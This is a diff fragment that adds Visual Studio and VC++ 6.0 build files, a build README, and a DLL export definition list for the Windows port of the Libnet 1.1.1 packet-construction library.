+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Release.ActiveCfg = Release|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Release.Build.0 = Release|Win32
+ {DA921F29-B6BE-4E55-9040-B6DD434F1E43}.Debug.ActiveCfg = Debug|Win32
+ {DA921F29-B6BE-4E55-9040-B6DD434F1E43}.Debug.Build.0 = Debug|Win32
+ {DA921F29-B6BE-4E55-9040-B6DD434F1E43}.Release.ActiveCfg = Release|Win32
+ {DA921F29-B6BE-4E55-9040-B6DD434F1E43}.Release.Build.0 = Release|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Debug.ActiveCfg = Debug|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Debug.Build.0 = Debug|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Release.ActiveCfg = Release|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Release.Build.0 = Release|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Debug.ActiveCfg = Debug|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Debug.Build.0 = Debug|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Release.ActiveCfg = Release|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Release.Build.0 = Release|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Debug.ActiveCfg = Debug|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Debug.Build.0 = Debug|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Release.ActiveCfg = Release|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Release.Build.0 = Release|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Debug.ActiveCfg = Debug|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Debug.Build.0 = Debug|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Release.ActiveCfg = Release|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Release.Build.0 = Release|Win32
+ EndGlobalSection
+ GlobalSection(ExtensibilityGlobals) = postSolution
+ EndGlobalSection
+ GlobalSection(ExtensibilityAddIns) = postSolution
+ EndGlobalSection
+EndGlobal
diff --git a/libnet/win32/Libnet-latest.suo b/libnet/win32/Libnet-latest.suo
new file mode 100644
index 0000000..d591cf6
--- /dev/null
+++ b/libnet/win32/Libnet-latest.suo
Binary files differ
diff --git a/libnet/win32/Libnet-latest.vcproj b/libnet/win32/Libnet-latest.vcproj
new file mode 100644
index 0000000..56c3d7a
--- /dev/null
+++ b/libnet/win32/Libnet-latest.vcproj
@@ -0,0 +1,311 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+ ProjectType="Visual C++"
+ Version="7.10"
+ Name="Libnet"
+ ProjectGUID="{6A0551E1-E416-4125-BCC0-F18F2D601806}"
+ Keyword="Win32Proj">
+ <Platforms>
+ <Platform
+ Name="Win32"/>
+ </Platforms>
+ <Configurations>
+ <Configuration
+ Name="Debug|Win32"
+ OutputDirectory="Debug"
+ IntermediateDirectory="Debug"
+ ConfigurationType="2"
+ ATLMinimizesCRunTimeLibraryUsage="TRUE"
+ CharacterSet="2"
+ WholeProgramOptimization="FALSE">
+ <Tool
+ Name="VCCLCompilerTool"
+ AdditionalOptions="/LDd"
+ Optimization="0"
+ OptimizeForProcessor="0"
+ AdditionalIncludeDirectories=".\src;.\include;..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBNETLATEST_EXPORTS"
+ MinimalRebuild="TRUE"
+ BasicRuntimeChecks="3"
+ RuntimeLibrary="1"
+ BufferSecurityCheck="TRUE"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="FALSE"
+ DebugInformationFormat="4"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="c:\winnt\system32\Libnet.dll"
+ LinkIncremental="2"
+ ModuleDefinitionFile="libnet_dll.def"
+ GenerateDebugInformation="TRUE"
+ ProgramDatabaseFile="$(OutDir)/Libnet.pdb"
+ SubSystem="2"
+ ImportLibrary="$(OutDir)/Libnet.lib"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ <Configuration
+ Name="Release|Win32"
+ OutputDirectory="Release"
+ IntermediateDirectory="Release"
+ ConfigurationType="2"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ AdditionalOptions="/LD"
+ Optimization="2"
+ InlineFunctionExpansion="1"
+ OmitFramePointers="TRUE"
+ AdditionalIncludeDirectories=".\include;.\src;..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBNETLATEST_EXPORTS"
+ StringPooling="TRUE"
+ RuntimeLibrary="0"
+ EnableFunctionLevelLinking="TRUE"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="FALSE"
+ DebugInformationFormat="3"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="c:\winnt\system32\Libnet.dll"
+ LinkIncremental="1"
+ ModuleDefinitionFile="libnet_dll.def"
+ GenerateDebugInformation="TRUE"
+ SubSystem="2"
+ OptimizeReferences="2"
+ EnableCOMDATFolding="2"
+ ImportLibrary="$(OutDir)/Libnet.lib"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ </Configurations>
+ <References>
+ </References>
+ <Files>
+ <Filter
+ Name="Source Files"
+ Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm">
+ <File
+ RelativePath="..\src\libnet_advanced.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_asn1.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_802.1q.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_802.1x.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_802.2.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_802.3.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_arp.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_bgp.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_cdp.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_data.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_dhcp.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_dns.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_ethernet.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_fddi.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_gre.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_icmp.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_igmp.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_ip.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_ipsec.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_isl.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_link.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_mpls.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_ntp.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_ospf.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_rip.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_rpc.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_snmp.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_stp.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_tcp.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_token_ring.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_udp.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_vrrp.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_checksum.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_cq.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_crc.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_dll.c">
+ </File>
+ <File
+ RelativePath="libnet_dll.def">
+ </File>
+ <File
+ RelativePath="..\src\libnet_error.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_if_addr.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_init.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_internal.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_link_win32.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_pblock.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_port_list.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_prand.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_raw.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_resolve.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_version.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_write.c">
+ </File>
+ </Filter>
+ <Filter
+ Name="Header Files"
+ Filter="h;hpp;hxx;hm;inl;inc">
+ <File
+ RelativePath="..\include\win32\config.h">
+ </File>
+ <File
+ RelativePath="..\include\libnet\libnet-asn1.h">
+ </File>
+ <File
+ RelativePath="..\include\libnet\libnet-functions.h">
+ </File>
+ <File
+ RelativePath="..\include\libnet\libnet-headers.h">
+ </File>
+ <File
+ RelativePath="..\include\libnet\libnet-macros.h">
+ </File>
+ <File
+ RelativePath="..\include\libnet\libnet-structures.h">
+ </File>
+ <File
+ RelativePath="..\include\win32\libnet.h">
+ </File>
+ </Filter>
+ <Filter
+ Name="Resource Files"
+ Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe">
+ </Filter>
+ </Files>
+ <Globals>
+ </Globals>
+</VisualStudioProject>
diff --git a/libnet/win32/Libnet.dsp b/libnet/win32/Libnet.dsp
new file mode 100644
index 0000000..b221637
--- /dev/null
+++ b/libnet/win32/Libnet.dsp
@@ -0,0 +1,337 @@
+# Microsoft Developer Studio Project File - Name="Libnet" - Package Owner=<4>
+# Microsoft Developer Studio Generated Build File, Format Version 6.00
+# ** DO NOT EDIT **
+
+# TARGTYPE "Win32 (x86) Dynamic-Link Library" 0x0102
+
+CFG=Libnet - Win32 Debug
+!MESSAGE This is not a valid makefile. To build this project using NMAKE,
+!MESSAGE use the Export Makefile command and run
+!MESSAGE
+!MESSAGE NMAKE /f "Libnet.mak".
+!MESSAGE
+!MESSAGE You can specify a configuration when running NMAKE
+!MESSAGE by defining the macro CFG on the command line. For example:
+!MESSAGE
+!MESSAGE NMAKE /f "Libnet.mak" CFG="Libnet - Win32 Debug"
+!MESSAGE
+!MESSAGE Possible choices for configuration are:
+!MESSAGE
+!MESSAGE "Libnet - Win32 Release" (based on "Win32 (x86) Dynamic-Link Library")
+!MESSAGE "Libnet - Win32 Debug" (based on "Win32 (x86) Dynamic-Link Library")
+!MESSAGE
+
+# Begin Project
+# PROP AllowPerConfigDependencies 0
+# PROP Scc_ProjName ""
+# PROP Scc_LocalPath ""
+CPP=cl.exe
+MTL=midl.exe
+RSC=rc.exe
+
+!IF "$(CFG)" == "Libnet - Win32 Release"
+
+# PROP BASE Use_MFC 0
+# PROP BASE Use_Debug_Libraries 0
+# PROP BASE Output_Dir "Release"
+# PROP BASE Intermediate_Dir "Release"
+# PROP BASE Target_Dir ""
+# PROP Use_MFC 0
+# PROP Use_Debug_Libraries 0
+# PROP Output_Dir "Release"
+# PROP Intermediate_Dir "Release"
+# PROP Ignore_Export_Lib 0
+# PROP Target_Dir ""
+# ADD BASE CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "LIBNET_EXPORTS" /Yu"stdafx.h" /FD /c
+# ADD CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "LIBNET_EXPORTS" /FD /c
+# SUBTRACT CPP /YX /Yc /Yu
+# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32
+# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32
+# ADD BASE RSC /l 0x409 /d "NDEBUG"
+# ADD RSC /l 0x409 /d "NDEBUG"
+BSC32=bscmake.exe
+# ADD BASE BSC32 /nologo
+# ADD BSC32 /nologo
+LINK32=link.exe
+# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386
+# ADD LINK32 /nologo /dll /machine:I386 /out:"Release/Libnet-1.1.1.dll"
+
+!ELSEIF "$(CFG)" == "Libnet - Win32 Debug"
+
+# PROP BASE Use_MFC 0
+# PROP BASE Use_Debug_Libraries 1
+# PROP BASE Output_Dir "Debug"
+# PROP BASE Intermediate_Dir "Debug"
+# PROP BASE Target_Dir ""
+# PROP Use_MFC 0
+# PROP Use_Debug_Libraries 1
+# PROP Output_Dir "Debug"
+# PROP Intermediate_Dir "Debug"
+# PROP Ignore_Export_Lib 0
+# PROP Target_Dir ""
+# ADD BASE CPP /nologo /MTd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "LIBNET_EXPORTS" /Yu"stdafx.h" /FD /GZ /c
+# ADD CPP /nologo /MTd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "LIBNET_EXPORTS" /FD /GZ /c
+# SUBTRACT CPP /YX /Yc /Yu
+# ADD BASE MTL /nologo /D "_DEBUG" /mktyplib203 /win32
+# ADD MTL /nologo /D "_DEBUG" /mktyplib203 /win32
+# ADD BASE RSC /l 0x409 /d "_DEBUG"
+# ADD RSC /l 0x409 /d "_DEBUG"
+BSC32=bscmake.exe
+# ADD BASE BSC32 /nologo
+# ADD BSC32 /nologo
+LINK32=link.exe
+# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /debug /machine:I386 /pdbtype:sept
+# ADD LINK32 /nologo /dll /debug /machine:I386 /pdbtype:sept
+
+!ENDIF
+
+# Begin Target
+
+# Name "Libnet - Win32 Release"
+# Name "Libnet - Win32 Debug"
+# Begin Group "Source Files"
+
+# PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat"
+# Begin Source File
+
+SOURCE=..\src\libnet_advanced.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_asn1.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_build_802.1q.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_build_802.1x.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_build_802.2.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_build_802.3.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_build_arp.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_build_bgp.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_build_cdp.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_build_data.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_build_dhcp.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_build_dns.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_build_ethernet.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_build_fddi.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_build_gre.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_build_icmp.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_build_igmp.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_build_ip.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_build_ipsec.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_build_isl.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_build_link.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_build_mpls.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_build_ntp.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_build_ospf.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_build_rip.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_build_rpc.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_build_snmp.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_build_stp.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_build_tcp.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_build_token_ring.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_build_udp.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_build_vrrp.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_checksum.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_cq.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_crc.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_dll.c
+# End Source File
+# Begin Source File
+
+SOURCE=.\libnet_dll.def
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_error.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_if_addr.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_init.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_internal.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_link_win32.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_pblock.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_port_list.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_prand.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_raw.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_resolve.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_version.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_write.c
+# End Source File
+# End Group
+# Begin Group "Header Files"
+
+# PROP Default_Filter "h;hpp;hxx;hm;inl"
+# Begin Source File
+
+SOURCE=..\include\win32\config.h
+# End Source File
+# Begin Source File
+
+SOURCE="..\include\libnet\libnet-asn1.h"
+# End Source File
+# Begin Source File
+
+SOURCE="..\include\libnet\libnet-functions.h"
+# End Source File
+# Begin Source File
+
+SOURCE="..\include\libnet\libnet-headers.h"
+# End Source File
+# Begin Source File
+
+SOURCE="..\include\libnet\libnet-macros.h"
+# End Source File
+# Begin Source File
+
+SOURCE="..\include\libnet\libnet-structures.h"
+# End Source File
+# Begin Source File
+
+SOURCE="..\include\libnet\libnet-types.h"
+# End Source File
+# Begin Source File
+
+SOURCE=..\include\win32\libnet.h
+# End Source File
+# End Group
+# Begin Group "Resource Files"
+
+# PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe"
+# End Group
+# Begin Source File
+
+SOURCE=.\ReadMe.txt
+# End Source File
+# End Target
+# End Project
diff --git a/libnet/win32/Libnet.dsw b/libnet/win32/Libnet.dsw
new file mode 100644
index 0000000..7a07d7a
--- /dev/null
+++ b/libnet/win32/Libnet.dsw
@@ -0,0 +1,32 @@
+Microsoft Developer Studio Workspace File, Format Version 6.00
+# WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE!
+
+###############################################################################
+
+Project: "Libnet"=".\Libnet.dsp" - Package Owner=<4>
+
+Package=<5>
+{{{
+}}}
+
+Package=<4>
+{{{
+ Begin Project Dependency
+ Project_Dep_Name wpcap
+ End Project Dependency
+}}}
+
+###############################################################################
+
+Global:
+
+Package=<5>
+{{{
+}}}
+
+Package=<3>
+{{{
+}}}
+
+###############################################################################
+
diff --git a/libnet/win32/README.txt b/libnet/win32/README.txt
new file mode 100644
index 0000000..074827a
--- /dev/null
+++ b/libnet/win32/README.txt
@@ -0,0 +1,57 @@
+Libnet 1.1.1 VC++ Build instructions.
+Kirby Kuehl vacuum@users.sourceforge.net
+
+
+Tested Platforms:
+Windows 2000 SP4, Windows XP SP1
+
+Tested IDEs:
+VC++ 6.0 Service Pack 5
+Visual Studio .NET 2003
+Visual Studio .NET 2002
+
+Winpcap 3.01 Developers pack: http://winpcap.polito.it/install/default.htm
+Platform SDK : http://www.microsoft.com/msdownload/platformsdk/sdkupdate/
+
+
+1. Extract Libnet tarball. (Probably unnecessary since you are reading this.)
+
+2. Download and extract Winpcap 3.x developer's pack from http://winpcap.polito.it/install/default.htm
+ NOTE: Must download 3.x developer's pack. Do not use earlier versions.
+
+3. Open Libnet-1.1.1/win32/Libnet.dsw (If you are using VC++6.0)
+ Libnet-1.1.1/win32/Libnet-1.1.1-2002.sln (If youa are using Visual Studio .NET 20002)
+ Libnet-1.1.1/win32/Libnet-1.1.1-2003.sln (If youa are using Visual Studio .NET 20003)
+
+4. To properly setup the winpcap/libpcap dependencies.
+
+ Visual Studio .NET Instructions.
+ Select Tools/Options
+ Under the options dialog, select Projects and then VC++ Directories
+ Select Include files.
+ Add the following path
+ <path>wpdpack\Include
+ Select Library paths.
+ Add the following path
+ <path>wpdpack\Lib
+
+ Visual C++ 6.0 Instructions
+ You will need to also install the Microsoft Platform SDK in order to have iphlpapi.h
+ The platform SDK is available here: http://www.microsoft.com/msdownload/platformsdk/sdkupdate/
+ NOTE: The include order is important, or you will get redefinition errors. Put the platform sdk's directory first.
+ Select Tools/Options
+ Select the Directories Tab
+ Select Include files.
+ Add the following path
+ <path>wpdpack\Include
+ <path>Program Files\Microsoft SDK\include
+ Select Library paths.
+ Add the following path
+ <path>wpdpack\Lib
+ <path>Program Files\Microsoft SDK\Lib
+
+
+
+
+
+
diff --git a/libnet/win32/libnet_dll.def b/libnet/win32/libnet_dll.def
new file mode 100644
index 0000000..f312fc8
--- /dev/null
+++ b/libnet/win32/libnet_dll.def
@@ -0,0 +1,164 @@
+LIBRARY Libnet
+
+EXPORTS
+ gethostbyname2
+ libnet_addr2name4_r
+ libnet_addr2name4
+ libnet_addr2name6_r
+ libnet_adv_cull_header
+ libnet_adv_cull_packet
+ libnet_adv_free_packet
+ libnet_adv_write_link
+ libnet_autobuild_arp
+ libnet_autobuild_ethernet
+ libnet_autobuild_fddi
+ libnet_autobuild_ipv4
+ libnet_autobuild_ipv6
+ libnet_autobuild_link
+ libnet_autobuild_token_ring
+ libnet_build_802_1q
+ libnet_build_802_1x
+ libnet_build_802_2snap
+ libnet_build_802_2
+ libnet_build_802_3
+ libnet_build_arp
+ libnet_build_asn1_bitstring
+ libnet_build_asn1_header
+ libnet_build_asn1_int
+ libnet_build_asn1_length
+ libnet_build_asn1_null
+ libnet_build_asn1_objid
+ libnet_build_asn1_sequence
+ libnet_build_asn1_string
+ libnet_build_asn1_uint
+ libnet_build_bgp4_header
+ libnet_build_bgp4_notification
+ libnet_build_bgp4_open
+ libnet_build_bgp4_update
+ libnet_build_bootpv4
+ libnet_build_cdp
+ libnet_build_cdp_value
+ libnet_build_data
+ libnet_build_dhcpv4
+ libnet_build_dnsv4
+ libnet_build_egre
+ libnet_build_ethernet
+ libnet_build_fddi
+ libnet_build_gre_last_sre
+ libnet_build_gre_sre
+ libnet_build_gre
+ libnet_build_icmpv4_echo
+ libnet_build_icmpv4_mask
+ libnet_build_icmpv4_redirect
+ libnet_build_icmpv4_timeexceed
+ libnet_build_icmpv4_timestamp
+ libnet_build_icmpv4_unreach
+ libnet_build_igmp
+ libnet_build_ipsec_ah
+ libnet_build_ipsec_esp_ftr
+ libnet_build_ipsec_esp_hdr
+ libnet_build_ipv4_options
+ libnet_build_ipv4
+ libnet_build_ipv6
+ libnet_build_ipv6_destopts
+ libnet_build_ipv6_frag
+ libnet_build_ipv6_hbhopts
+ libnet_build_ipv6_routing
+ libnet_build_isl
+ libnet_build_link
+ libnet_build_mpls
+ libnet_build_ntp
+ libnet_build_ospfv2_dbd
+ libnet_build_ospfv2_hello
+ libnet_build_ospfv2_lsa_as
+ libnet_build_ospfv2_lsa_net
+ libnet_build_ospfv2_lsa_rtr
+ libnet_build_ospfv2_lsa_sum
+ libnet_build_ospfv2_lsa
+ libnet_build_ospfv2_lsr
+ libnet_build_ospfv2_lsu
+ libnet_build_ospfv2
+ libnet_build_rip
+ libnet_build_rpc_call
+ libnet_build_snmp
+ libnet_build_stp_conf
+ libnet_build_stp_tcn
+ libnet_build_tcp_options
+ libnet_build_tcp
+ libnet_build_token_ring
+ libnet_build_udp
+ libnet_build_vrrp
+ libnet_clear_packet
+ libnet_close_link_interface
+ libnet_close_raw4
+ libnet_close_raw6
+ libnet_compute_crc
+ libnet_cq_add
+ libnet_cq_destroy
+ libnet_cq_find_by_label
+ libnet_cq_getlabel
+ libnet_cq_head
+ libnet_cq_last
+ libnet_cq_next
+ libnet_cq_remove_by_label
+ libnet_cq_remove
+ libnet_cq_size
+ libnet_destroy
+ libnet_diag_dump_context
+ libnet_diag_dump_hex
+ libnet_diag_dump_pblock
+ libnet_diag_dump_pblock_type
+ libnet_do_checksum
+ libnet_getdevice
+ libnet_geterror
+ libnet_getfd
+ libnet_getgre_length
+ libnet_getpacket_size
+ libnet_get_hwaddr
+ libnet_get_ipaddr4
+ libnet_get_ipaddr6
+ libnet_getpbuf
+ libnet_getpbuf_size
+ libnet_get_prand
+ libnet_hex_aton
+ libnet_ifaddrlist
+ libnet_in_cksum
+ libnet_init
+ libnet_ip_check
+ libnet_name2addr4
+ libnet_name2addr6
+ libnet_open_link
+ libnet_open_raw4
+ libnet_open_raw6
+ libnet_pblock_append
+ libnet_pblock_coalesce
+ libnet_pblock_delete
+ libnet_pblock_find
+ libnet_pblock_insert_before
+ libnet_pblock_new
+ libnet_pblock_p2p
+ libnet_pblock_probe
+ libnet_pblock_setflags
+ libnet_pblock_swap
+ libnet_pblock_update
+ libnet_plist_chain_dump
+ libnet_plist_chain_dump_string
+ libnet_plist_chain_free
+ libnet_plist_chain_new
+ libnet_plist_chain_next_pair
+ libnet_seed_prand
+ libnet_select_device
+ libnet_stats
+ libnet_toggle_checksum
+ libnet_win32_build_fake_ethernet
+ libnet_win32_build_fake_token
+ libnet_win32_get_remote_mac
+ libnet_win32_write_raw_ipv4
+ libnet_write
+ libnet_write_link
+ libnet_write_raw_ipv4
+ libnet_write_raw_ipv6
+ __libnet_print_vers
+
+
+